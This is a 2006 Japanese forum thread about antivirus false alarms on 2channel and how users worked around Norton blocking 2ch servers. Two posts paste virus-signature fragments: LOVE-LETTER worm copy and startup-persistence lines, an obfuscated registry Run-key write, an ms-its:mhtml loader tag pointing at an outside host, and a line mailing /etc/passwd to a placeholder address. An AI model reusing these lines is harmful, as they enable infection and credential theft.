ノートン誤作動対策本部

**動け動けウゴウゴ２ちゃんねる** · 2005/11/28(月) 16:08:40

詳細: 侵入を検出して遮断しました。 news19.2ch.net(206.223.151.67) とのすべての通信は 30 分間にわたって遮断されます。
アドレスをクリックすると攻撃者を追跡できます
この攻撃について詳しくはシマンテック･セキュリティ･レスポンス

**動け動けウゴウゴ２ちゃんねる** · 2006/04/06(木) 20:22:55

>>777
>>727

**動け動けウゴウゴ２ちゃんねる** · 2006/04/06(木) 20:34:03

>>778
THX

HTTP MSIE JavaScript OnLoad Rte CodeExec

って　「MS IE」と別のとこにあるのな…ないよーと思って困ってました。

**動け動けウゴウゴ２ちゃんねる** · 2006/04/07(金) 10:26:14

ms-its:mhtml:file://C:\

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

<body onload=window()>

c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 　　
ms-its:mhtml:file://c:\　
kak.hta';ken=wd+'START
End Sub

G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WC

**動け動けウゴウゴ２ちゃんねる** · 2006/04/07(金) 10:34:49

>>780
で？

**ﾉtasukeruyo** · NG

ν速だけでも

伝書鳩

**動け動けウゴウゴ２ちゃんねる** · 2006/04/07(金) 23:59:38

↑なにこれ

**動け動けウゴウゴ２ちゃんねる** · 2006/04/08(土) 05:07:05

ウィルスコードだろ

**動け動けウゴウゴ２ちゃんねる** · 2006/04/08(土) 14:52:00

2005でも誤作動するようになったな
専ブラのあぼーんよりも先にノートンがdatに反応するようになったのが原因ぽい

**動け動けウゴウゴ２ちゃんねる** · 2006/04/08(土) 18:22:00

>>75で2chは問題なくなったがしたらばがまだだめだ

**動け動けウゴウゴ２ちゃんねる** · 2006/04/08(土) 19:33:27

にはは、こやつめ

**動け動けウゴウゴ２ちゃんねる** · 2006/04/09(日) 08:35:16

このスレ、更新しようとすると、NISにブロックされて、専ブラのタブが赤くなる。（JaneDoeStyle223)
あぼーんワードはどれですか？

今はNISを無効にしてカキコしています。

**動け動けウゴウゴ２ちゃんねる** · 2006/04/09(日) 09:57:32

ログ読むと幸せになれるよ

**動け動けウゴウゴ２ちゃんねる** · 2006/04/10(月) 18:40:26

>>521氏のレスを参考に汁

**動け動けウゴウゴ２ちゃんねる** · 2006/04/10(月) 19:43:50

わかったにゃー

**788** · 2006/04/10(月) 23:20:01

>>510
>>512
>>517

これらはすべてｱﾎﾞｰｿしてあります。
NISの設定も変えていませんでした。

>>780-785あたりでJaneDoeStyle223がおかしくなりました。
他スレでは何ともありません。

で、あれからは、ログを取得し直しただけですが、無問題になりました。
いったい何だったんだろう。
ログが壊れただけだったのかな…。

**動け動けウゴウゴ２ちゃんねる** · 2006/04/12(水) 15:42:54

なんかバスターが2ちゃんのスレをIEで見るとそれだけでウイルス検知するようになったらしいね・・・
先生よりアグレッシブだな

**動け動けウゴウゴ２ちゃんねる** · 2006/04/12(水) 16:23:57

そのようだな

　　ウィルスバスター蛾壊れた　　
http://live22x.2ch.net/test/read.cgi/news/1144822966/

**動け動けウゴウゴ２ちゃんねる** · 2006/04/12(水) 16:47:09

>>794
そしてもう対応

**名無しの洞窟** ◆A8o1Gm.EXE · 2006/04/12(水) 17:28:00

ああ、なんかさっきアップロードしおったのはそれか

**動け動けウゴウゴ２ちゃんねる** · 2006/04/12(水) 18:58:07

まあ、あれだ。
アップデートとアップロードを間違えるのはここだけにしておけ。

**名無しの洞窟** ◆A8o1Gm.EXE · 2006/04/12(水) 20:31:16

素で間違えてた……orz

**動け動けウゴウゴ２ちゃんねる** · 2006/04/13(木) 15:14:15

>>794
また誰かがウィルスコード貼ったのか…(泣

馬鹿フィーが大激怒　orz

**動け動けウゴウゴ２ちゃんねる** · 2006/04/15(土) 15:03:59

ダウン版見れないのはＮＩＳのせい？

**動け動けウゴウゴ２ちゃんねる** · 2006/04/15(土) 15:34:28

疑いを持ったなら

**動け動けウゴウゴ２ちゃんねる** · 2006/04/15(土) 15:35:13

ノートン全部切ればわかる

**動け動けウゴウゴ２ちゃんねる** · 2006/04/17(月) 22:27:09

道理だな。

**動け動けウゴウゴ２ちゃんねる** · 2006/04/18(火) 01:55:50

>>782はなに？
横棒と青字の伝書鳩ってなに

**ﾉtasukeruyo** · 2006/04/18(火) 02:04:50

この板限定の機能
tasukeruyoするとuserAgent情報が表示される
でもスレ違い

Monazilla/1.00 (JaneStyle/2.23)

**動け動けウゴウゴ２ちゃんねる** · 2006/04/18(火) 23:18:38

すいません、私はノートンではなくシマンテックアンチウイルスを使ってるのですが、この場合はどのように対処すればいいんでしょうか
既出の問題でしたらすいません

**動け動けウゴウゴ２ちゃんねる** · 2006/04/18(火) 23:21:27

>>727

**動け動けウゴウゴ２ちゃんねる** · 2006/04/19(水) 01:07:29

>>807
ありがとうございます
私はノートンアンチウイルスではなくてシマンテックアンチウイルスを使ってるのですが、同じようにできるのですか？
オプションが見つからないのですが・・・

**動け動けウゴウゴ２ちゃんねる** · 2006/04/19(水) 01:15:01

>>808
ノートンアンチウイルスの場合
オプション→インターネットワーム防止→有効にするのチェックはずしてみ

**動け動けウゴウゴ２ちゃんねる** · 2006/04/19(水) 01:22:14

シマンテックアンチウイルスってはじめて聞いたや
ぐぐったところ企業用？
よくわからんが個人のPCにどこまで権限あるのかねぇ

**動け動けウゴウゴ２ちゃんねる** · 2006/04/20(木) 14:40:19

>>810
説明不足ですいません、企業用のものです
一応無償でもらったノートPCなのですが・・・
ノートンに変えていいか聞いてみます

b-bf2-2029.noc.ntt-west.nsk.ne.jp(61.198.94.29) · 2006/04/26(水) 22:30:50

てｓｔ

Monazilla/1.00 (JaneStyle/2.23)

**動け動けウゴウゴ２ちゃんねる** · 2006/04/27(木) 03:48:52

↑なんなのさコレ

**動け動けウゴウゴ２ちゃんねる** · 2006/04/27(木) 03:57:17

>>813
>>805

ntoknw022080.oknw.nt.adsl.ppp.infoweb.ne.jp(211.133.72.80) · 2006/04/27(木) 04:11:59

test

Monazilla/1.00 (JaneNida/060425)

**動け動けウゴウゴ２ちゃんねる** · 2006/04/27(木) 04:19:36

[test] 書き込みテスト専用スレッド 62 [ﾃｽﾄ]
http://qb5.2ch.net/test/read.cgi/operate/1145833088/

**動け動けウゴウゴ２ちゃんねる** · 2006/04/29(土) 08:20:30

また、マカフィーが大激怒…

任天堂新ハード正式名称発表その名も「wii（ｳｨｰ）」
ttp://live22x.2ch.net/test/read.cgi/news/1146155170/

…｢ノートン先生｣みたいに、スキャン対象から簡単に外せないんだから、ウィルスコード貼るな！

お願いしますよ　orz

**動け動けウゴウゴ２ちゃんねる** · 2006/04/29(土) 09:51:08

>>817
>>167

**動け動けウゴウゴ２ちゃんねる** · 2006/04/29(土) 11:58:05

『Exploit-MhtRedir.gen』止めて…　(鬱氏

eatkyo230110.adsl.ppp.infoweb.ne.jp(218.229.149.110) · 2006/05/01(月) 02:17:44

tes

Monazilla/1.00 (JaneNida/060425)

**動け動けウゴウゴ２ちゃんねる** · NG

【戦争】涼宮ハルヒED１位阻止大作戦【ν速対VIP】
http://live22x.2ch.net/test/read.cgi/news/1146579961/l50
たぶんこいつにやられた。実際食らったのは初めてだよ。

187.72.30.125.dy.iij4u.or.jp(125.30.72.187) · 2006/05/06(土) 02:41:29

ためさせて・・

Monazilla/1.00 (V2C/T20060424)

**名無しの洞窟** ◆A8o1Gm.EXE · 2006/05/06(土) 11:37:58

テストはこっちでやれや
[test] 書き込みテスト専用スレッド 62 [ﾃｽﾄ]
http://qb5.2ch.net/test/read.cgi/operate/1145833088/

**動け動けウゴウゴ２ちゃんねる** · 2006/05/06(土) 13:12:03

あんちういるす2006の一般ルールで追加許可してもだめだ（´･ω･）ﾜｹﾜｶﾝﾈ

**動け動けウゴウゴ２ちゃんねる** · 2006/05/06(土) 13:29:11

>>824
オプション→インターネットワーム防止→AutoBlockで遮断しているIPがあれば除外
→防止を有効にするのチェック外してログ取得
これでもダメ？

**動け動けウゴウゴ２ちゃんねる** · 2006/05/06(土) 13:36:21

>>825
今やってみた、ﾀﾞﾒだった（´･ω･）ｃｃｇｒｇｆｖｖｂｔぶぐｔｖｇｆｘｄｂｃｒｇｖｆ

**動け動けウゴウゴ２ちゃんねる** · 2006/05/06(土) 13:42:19

>>825
あ、もう一回やってみたら大丈夫だった

**動け動けウゴウゴ２ちゃんねる** · 2006/05/13(土) 03:20:08

また、コード貼った馬鹿が…　orz

【国際】「麻薬の運び屋に仕立てられた」　無罪訴え続けた日本人男性、逮捕から１４年で仮釈放…オーストラリア
ttp://news19.2ch.net/test/read.cgi/newsplus/1147357192/

ｼｸｼｸｼｸ

**動け動けウゴウゴ２ちゃんねる** · 2006/05/13(土) 04:31:25

んなこといちいち報告するおのれも馬鹿じゃ

**動け動けウゴウゴ２ちゃんねる** · 2006/05/13(土) 10:31:19

昨日あたりから板を開くとノートンが反応するんだけど、
同じ境遇の人っている？

**動け動けウゴウゴ２ちゃんねる** · 2006/05/13(土) 10:33:30

>>830
よくある誤作動かと思います。
とりあえずノートン切ってから、ログ取得してみてください。

**動け動けウゴウゴ２ちゃんねる** · 2006/05/13(土) 13:57:27

ノートンを誤作動させる文字列は何年も前からあるし、シマンテックに連絡しても
これで正常と言って対策しない。
つまりシマンテックは自力で対策できる人だけ買ってくれればいいと言っている。
そんなソフトは>>167

**得ROM街の悪無** ◆wv57DoER0M · 2006/05/13(土) 18:17:51

AntiVirus の設定→除外→C:\Program Files\Jane\Logs
2chブラウザ使ってるならこれでいいでそ

**動け動けウゴウゴ２ちゃんねる** · 2006/05/13(土) 23:52:46

>>833
そりゃJaneの場合だろ。他の2chブラウザでも原理は同じだが。

**動け動けウゴウゴ２ちゃんねる** · 2006/05/15(月) 18:54:17

Janeを開いたり更新をするたびに
C:\ProgramFiles\Jane Style\Logs\2ch\AA\AAサロン\subject.txt
この警告が出ます。
除外もしたり、このtxtを削除したりもするのですが効果が出ませんでした。
対処法をお願いします。

**動け動けウゴウゴ２ちゃんねる** · 2006/05/15(月) 19:09:45

>>835
ノートン？
なら、ログ除外でこのスレ見てみ。

**動け動けウゴウゴ２ちゃんねる** · 2006/05/15(月) 19:10:13

除外できてないから反応するんでしょ

**動け動けウゴウゴ２ちゃんねる** · 2006/05/15(月) 19:11:15

だからノートンは使う人を選ぶんだってば
アンインストールして乗り換え

**動け動けウゴウゴ２ちゃんねる** · 2006/05/15(月) 19:23:32

３日前から、ラウンジクラシックに入ろうとするとノートンアンチウイルス2005が反応して、
sports2鯖ごとノートンにアク禁されます。
一度踏むと３０分間アク禁で、ノートン無効にしてもダメなので困ってます。

↓ログ

詳細: このコンピュータに対する侵入「HTTP MSIE JavaScript OnLoad Rte CodeExec」の試みを検出して遮断しました。
侵入者: sports2.2ch.net(210.（伏せ；侵入者のIPアドレス）)(http(80)).
危険度: 高
プロトコル: TCP
攻撃された IP: DEFAULT(192.（伏せ；自分のPCのIPアドレス）.1).
攻撃されたポート: xxxx
　　　　　　　　　　　　　↑ランダム

これもウイルスコードの仕業ですか。

**動け動けウゴウゴ２ちゃんねる** · NG

>839
AntiVirusじゃなくPersonal Firewallを無効にしろ。
あとついでだが、192.168.*.*は隠す必要ないから。

**動け動けウゴウゴ２ちゃんねる** · 2006/05/15(月) 20:59:11

ついでに２ちゃんのIPも隠す必要皆無
つうか、このスレを読めよ

**動け動けウゴウゴ２ちゃんねる** · 2006/05/15(月) 23:01:19

>>839
NISの方は
ttp://mickey.mirv.net/2chnis.html

NAVの方は>>727
をやってみれ

**動け動けウゴウゴ２ちゃんねる** · 2006/05/20(土) 02:01:04

N速＋でまた、幾つかのスレにウィルスコード張られてるなぁ…

貼る馬鹿は、樹海池

**動け動けウゴウゴ２ちゃんねる** · 2006/05/20(土) 02:05:26

そんなことでこのスレあげる奴が樹海池

**動け動けウゴウゴ２ちゃんねる** · 2006/05/20(土) 02:08:04

貼る馬鹿っつーのは、他人の家に勝手に出前送りつけたり
ピンポンダッシュして物陰からニヤニヤしながら眺めてるような奴なのかな？
マジで樹海逝ってくれ

**動け動けウゴウゴ２ちゃんねる** · 2006/05/20(土) 02:11:27

実はバスター先生の社員

p2042-ipbf41sasajima.aichi.ocn.ne.jp(221.184.145.42) · 2006/05/20(土) 23:05:19

てす

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

**動け動けウゴウゴ２ちゃんねる** · 2006/05/21(日) 00:06:52

[test] 書き込みテスト専用スレッド 63 [ﾃｽﾄ]
http://qb5.2ch.net/test/read.cgi/operate/1147513870/

**動け動けウゴウゴ２ちゃんねる** · 2006/05/21(日) 17:58:26

ヽ(`Д´)ﾉｳﾜｧｧﾝ!!

**動け動けウゴウゴ２ちゃんねる** · 2006/05/21(日) 23:34:09

>>849
どした、どした？

**動け動けウゴウゴ２ちゃんねる** · 2006/05/22(月) 00:10:53

野豚先生のオートブロックからオカ板を救い出そうとしたんだけど、制限押しちゃった。
どうしたら制限解除できるか教えてえらい人。

**動け動けウゴウゴ２ちゃんねる** · 2006/05/22(月) 05:24:43

c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

**動け動けウゴウゴ２ちゃんねる** · 2006/05/22(月) 17:32:45

>>852
それがどうした？

**動け動けウゴウゴ２ちゃんねる** · 2006/05/22(月) 18:34:49

今日ノートンをつけたけど、ホントにウィルスが反応したｗｗｗ
びっくりｗｗ

**動け動けウゴウゴ２ちゃんねる** · 2006/05/22(月) 18:38:22

http://fm7.biz/1px

**動け動けウゴウゴ２ちゃんねる** · 2006/05/22(月) 19:15:02

×ウィルスが反応した
○ウィルスじゃないものに誤反応した

**動け動けウゴウゴ２ちゃんねる** · 2006/05/22(月) 23:06:13

おおう・・・アンチウイルスがMSIEJAVAオンロードに反応して
このスレの対策覗けなかったぜ
ワーム防止解除でやっと見れた

少し賢くなれた気がする。自分にとって不具合がある方がなあに、かえって免疫力がつく。
そして流石はノートン先生、生まれた子供を崖から消毒するだけのことはある。

**名無しさんの助言** ◆JogenOuJ66 · 2006/05/23(火) 08:29:28

＞そして流石はノートン先生、生まれた子供を崖から消毒するだけのことはある。

ここんとこｸｿワロタ。

専用ブラウザ使ってる人は、852の書き込みをそのままNGワードのリストに貼っちゃうというのも
楽かも知れないですね、とか言ってみるテスト。

**動け動けウゴウゴ２ちゃんねる** · 2006/05/29(月) 19:33:35

このスレ開いたらｷﾀ━━━━(ﾟ∀ﾟ)━━━━!!とか出た

**動け動けウゴウゴ２ちゃんねる** · 2006/06/01(木) 08:12:48

今日反応したスレ

【日テレ隠蔽疑惑】炭谷宗佑アナを報じない日テレ、容疑否認のテレ東社員を実名報道　テレ東も即日実名で伝える★２
http://news19.2ch.net/test/read.cgi/newsplus/1148999462/

…この騒動が起きてから、幾つかの『日テレ隠蔽疑惑』関連スレに、
ウィルスコード貼ってる香具師が居るなぁ

まさか、関係者？＞コード貼る馬鹿

**動け動けウゴウゴ２ちゃんねる** · 2006/06/01(木) 14:26:23

祭りのスレに貼られるのはお約束となっております
いちいち反応しないでください

softbank220001088253.bbtec.net(220.1.88.253) · 2006/06/01(木) 22:47:23

どう？

Monazilla/1.00 (cockcrow/2.5.5.5)

**動け動けウゴウゴ２ちゃんねる** · 2006/06/01(木) 23:12:19

誤作動ばかり起こるセキュリソフトを使い続ける人の気が知れねｗｗｗｗ

**動け動けウゴウゴ２ちゃんねる** · 2006/06/02(金) 18:24:12

やっとここにたどり着いた。
昨日206.223.152.55に攻撃されたのはノートンのせいってこと？
何度も攻撃されてびびったよ誰か教えて。

**動け動けウゴウゴ２ちゃんねる** · 2006/06/02(金) 18:38:48

スレ嫁

**動け動けウゴウゴ２ちゃんねる** · 2006/06/02(金) 19:43:52

＞昨日206.223.152.55に攻撃された

なんで２ちゃんのサーバーがお前を攻撃するんだ？

206.223.152.55 = tiger508.maido3.com = life7.2ch.net

自己紹介夢･独り言生活ｻﾛﾝ生活全般その日暮らし一人暮らし借金生活
ｽﾎﾟｰﾂｸﾗﾌﾞ記念日冠婚葬祭育児家具ﾓﾃﾞﾙﾌｧｯｼｮﾝ靴化粧美容美容整形
一般海外生活北米海外生活ｸﾚｼﾞｯﾄ家庭懸賞たばこめがねﾏｲﾗｲﾝｺﾝﾋﾞﾆﾊﾞｰｹﾞﾝ
ﾋｯｷｰﾒﾝﾍﾙｻﾛﾝ癒し人生相談心と宗教身体･健康ｱﾄﾋﾟｰｱﾚﾙｷﾞｰﾊｹﾞ･ｽﾞﾗﾒﾝﾀﾙﾍﾙｽ

**動け動けウゴウゴ２ちゃんねる** · 2006/06/03(土) 03:49:37

今度はニュー速VIPで反応アリ

**動け動けウゴウゴ２ちゃんねる** · 2006/06/03(土) 22:12:48

ノートンアンチウイルス２００５の場合、設定はどうやったらいいのでしょうか？
ｴﾛｲ人教えて

**868** · 2006/06/03(土) 22:22:47

自己解決しました。すみません。

**動け動けウゴウゴ２ちゃんねる** · 2006/06/03(土) 22:24:31

正直、>>756 をやってもダメなんですけど。当方NAV2005でつ

**動け動けウゴウゴ２ちゃんねる** · 2006/06/03(土) 22:25:52

つアンインストール

**動け動けウゴウゴ２ちゃんねる** · 2006/06/03(土) 23:06:24

test

**動け動けウゴウゴ２ちゃんねる** · 2006/06/03(土) 23:14:47

>>870
駄目と言われても誰もわかりませんよ
とりあえず↓スレ参照

【ノートン入れたら２ｃｈに書きこめない】人へ18
http://etc3.2ch.net/test/read.cgi/qa/1112631967/

**870** · 2006/06/03(土) 23:38:39

書き込まず読み込むだけで
インターネットワーム防止→AutoBlockルール
にその板の２ちゃんアドレスが書き込まれます

もちろん「侵入を検知して遮断しました」と言われるわけですが

「HTTP MSIE JavaScript OnLoad Rte CodeExec」のチェックを外せば
読み込めますが、うざすぎ

**動け動けウゴウゴ２ちゃんねる** · 2006/06/03(土) 23:59:49

へぇ

**動け動けウゴウゴ２ちゃんねる** · 2006/06/04(日) 09:39:07

ノートン捨てた。ソースネクストにした。良かった。

**動け動けウゴウゴ２ちゃんねる** · 2006/06/04(日) 14:25:49

それならノートンのほうがいいや・・・